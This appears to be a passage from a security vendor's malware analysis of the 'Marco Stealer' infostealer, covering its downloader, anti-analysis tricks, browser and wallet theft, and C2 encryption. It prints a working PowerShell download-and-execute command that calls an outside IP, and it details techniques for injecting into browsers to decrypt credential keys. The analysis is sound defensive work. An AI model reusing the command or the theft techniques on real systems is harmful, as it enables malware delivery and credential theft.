This section provides a breakdown of Marco Stealer’s functionality, including its downloader, anti-analysis mechanisms, data collection techniques, and methods for exfiltrating stolen information.

Downloader 

The downloader component decrypts multiple strings using AES-128 in ECB mode to generate a PowerShell command, which it executes as a child process to initiate the next stage of the attack. An example of the decrypted PowerShell command is shown below.

cmdline:powershell.exe -ExecutionPolicy ByPass -Command "$client = New-Object System.Net.WebClient; $client.Headers.Add('X-Custom-Auth', 'eyJhbGciOiJJUzI1NiIsInR5cCI6IkpXVCJ9.c2FzdGVkX2NyZWRzXzg5N2E0OWIyZjZjNGViZDc1ZWQzNDlkNzI4MTc2NWRiX2MzOGVhYTQw'); 
$client.Headers.Add('User-Agent', 'Zephyr-Downloader/3.7.18-zx9b (Compatible; QuartzCore/945; SageBridge/XRT-71a)'); $client.DownloadFile('http://217.156.50.228:8181/nujbOqrNYyLXXLmOhPpY/PNcWncSY.exe', 'C:\Users\PJones\AppData\Local\Temp\knmQSGUZ\FILhFvaZ.exe'); 
Start-Process 'C:\Users\PJones\AppData\Local\Temp\knmQSGUZ\FILhFvaZ.exe'"

In this example, the WebClient object downloads the Marco Stealer executable file from the URL http[:/]/217[.]156[.]50[.]228[:]8181/nujbOqrNYyLXXLmOhPpY/PNcWncSY.exe to the temporary path AppData\Local\Temp\knmQSGUZ\FILhFvaZ.exe and executes it.

Marco Stealer

Marco Stealer samples have the Program Database (PDB) file path C:\Users\marco\Desktop\Builder\Builder\Client\Client\x64\Release\Client.pdb. When Marco Stealer is executed, the malware employs a static mutex named Global\ItsMeRavenOnYourMachineed to ensure that only a single instance runs on the infected system at any given time.

Anti-analysis techniques 

Marco Stealer leverages encrypted strings throughout its operations. These encrypted strings are used in nearly all functions and decrypted on execution. The string encryption algorithm is an add–rotate–XOR (ARX) based similar to ChaCha20. The full string decryption algorithm can be found in the ThreatLabz GitHub repository. 

Using Windows APIs, Marco Stealer enumerates running processes and retrieves their executable file paths. Once the paths are identified, the information stealer extracts the version metadata from the files, which includes:

• OriginalFilename
• ProductName
• CompanyName

To collect this metadata, Marco Stealer queries the following paths:

• \VarFileInfo\Translation determines the language and code page of the file.
• \StringFileInfo\LANGCODEPAGE provides access to the fields listed above.

If any of the metadata collected matches the name of a common anti-analysis tool such as x64dbg, Wireshark, Process Hacker, or OllyDbg, Marco Stealer terminates the corresponding process to evade analysis. Visit the Appendix section at the end of this blog for a comprehensive list of anti-analysis tools targeted by Marco Stealer.

Following the initial checks, Marco Stealer verifies internet connectivity by attempting to reach https://www.google.com. If the machine is offline or the connection check fails, the information stealer initiates a self-deletion routine, removing its executable from the system and terminating its process. 

If the connectivity check succeeds, Marco Stealer begins gathering IP geolocation data. The information stealer queries services like https://ipinfo.io/ip and https://ipinfo.io/country to retrieve the external IP address and country code of the victim’s machine, which is sent to the C2 server.

System data collection

After confirming internet connectivity, Marco Stealer initiates data collection to build a profile of the victim's machine. The information stealer begins by querying the machine GUID from the Windows registry, generating a unique hardware identifier that serves as an infection identifier. 

All data gathered by Marco Stealer is encrypted using AES before being sent individually to the C2 server. The initial data transmission includes a client ID (hardcoded in each sample), hardware ID, and IP address. This information is also prepended to the exfiltration of any subsequent data collected by Marco stealer. Notably, screenshot data was the only instance observed where plaintext information was exfiltrated. Visit the Appendix section at the end of this blog for a list of the data collected by Marco Stealer.

Marco Stealer looks for antivirus software by scanning the Windows Security Center registry path (ROOT\SecurityCenter2). The malware performs Component Object Model (COM) interactions using DllCanUnloadNow and runs a Windows Management Instrumentation (WMI) query (SELECT * FROM AntiVirusProduct) to enumerate all active antivirus products installed on the device.

Marco Stealer also collects installed software by querying specific registry keys, including: 

• SOFTWARE\Microsoft\"SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products
• Windows\CurrentVersion\Uninstaller  

From these registry locations, Marco Stealer extracts application names by reading the DisplayName field present in each subkey.

Marco Stealer identifies all active processes on the system. It uses the QueryFullProcessImageNameW API to obtain the full file paths of running processes. 

Browser data exfiltration

Marco Stealer employs two distinct functions designed to exfiltrate browser data, leveraging two embedded files: chromeDecryptor.dll and needme.exe. These files are stored in the information stealer’s resource section. Marco Stealer first creates a directory in %appdata%\local\temp, using the Mersenne Twister algorithm to generate a unique path. The malware then extracts the embedded files from the resource section and stores them in this newly created directory for further execution.

Exfiltration via Chrome Appbound (chromeDecryptor.dll)

The first method focuses on exfiltrating data from browser processes and involves the following steps:

1. Marco Stealer enumerates all running processes, comparing them against a list of Chromium-based browser process names. If any matches are found, those processes are terminated.
2. Marco Stealer extracts an executable from the resource section and drops it in the temporary directory as chromeDecryptor.dll. It sets an environment variable, Browser_TYPE, with chrome as the assigned value.
3. Marco Stealer attempts to create a headless instance of the targeted Chromium-based browser. Upon successful creation, the information stealer injects chromeDecryptor.dll into the process using DLL injection techniques.
4. The primary function of chromeDecryptor.dll is to decrypt the encryption key stored in the Chrome browser at \AppData\Local\Google\Chrome\User Data\Local State.
5. Once the decrypted key is retrieved, it is written to the file chrome_appbound_key.txt.

The decrypted key is then used to query browser data stored in SQLite databases.

Data collection via named pipe (needMe.exe)

The second method of data collection involves named pipes. Marco Stealer initiates exfiltration by enumerating and terminating instances of various browsers, including lesser-known ones such as Basilisk, CLIQZ, and Pale Moon. After this process is complete, Marco Stealer extracts the previously mentioned needMe.exe executable. 

Next, Marco Stealer establishes a named pipe, \\.\pipe\FirefoxBrowserExtractor, configured with bidirectional communication (PIPE_ACCESS_DUPLEX) and a buffer size of 8192 bytes (0x2000). The pipe waits for a client connection, which is later initiated by needMe.exe. When connected, the pipe enables the malware to ingest browser-related data from remote processes.

The needMe.exe binary targets browser-related data stored in SQLite databases such as:

• C:\Users\\AppData\Roaming\Basilisk-Dev\Basilisk\Profiles
• C:\Users\\AppData\Roaming\CLIQZ\Profiles
• C:\Users\\AppData\Roaming\Mozilla\Firefox\Profiles
• C:\Users\\AppData\Roaming\FlashPeak\SlimBrowser\Profiles
• C:\Users\\AppData\Roaming\Moonchild Productions\Pale Moon\Profiles

Cryptocurrency wallet data extraction using extensions

Marco Stealer focuses on extracting cryptocurrency wallet data in Chromium-based browsers. A comprehensive list of targeted browsers is available in the Appendix section at the end of this blog.

Marco Stealer scans typical user data directories under paths such as:

C:\Users\\AppData\Local\\\User Data

Once Marco Stealer identifies target directories, it validates their existence using the GetFileAttributes API. Upon locating extension directories containing cryptocurrency wallet data, the information stealer extracts, encrypts, and exfiltrates the data to a C2 server.

Data collected across popular services

Marco Stealer collects data from different software, applications, and services. Visit the Appendix section of this blog for a comprehensive table that includes the file paths or registry keys targeted, data collected, and additional technical details clarifying how this data is leveraged or encrypted/decoded.

Additional data theft

Clipboard content is also targeted, with Marco Stealer harvesting data for any sensitive information copied by the user. Marco Stealer is also capable of capturing screenshots, and designed to recursively search through a wide range of commonly used local directories and cloud service locations to locate sensitive files, such as:

• \AppData\Local
• \Desktop
• \Documents
• \Downloads
• \Pictures
• \Videos
• \Music
• \OneDrive
• \Dropbox
• \Google Drive
• \Microsoft\OneDrive
• \Microsoft\Office
• \Dropbox

The information stealer looks for files with names or extensions that are likely to contain confidential information. Visit the Appendix section at the end of this blog for a table that shows targeted file patterns (text, documents, spreadsheets, database, images, and backup files) identified using keywords.

C2 communication

Marco Stealer uses AES-256 CBC encryption to protect stolen data that is sent to its C2 server. To begin the encryption process, the information stealer generates a SHA-256 hash of a hardcoded value. The resulting hash is used to derive an AES-256 encryption key via the CryptDeriveKey function. While the AES encryption key is derived dynamically, the result will always be the same and thus the actual key is static. The encrypted data, including the victim's client ID and hardware ID, is then sent to the predefined C2 endpoint (e.g., http://45.74.19[.]20:49259/receive) via an HTTP POST request with HTTP User-Agent field set to DataSender.

The data in the HTTP body is sent in the format (prior to encryption):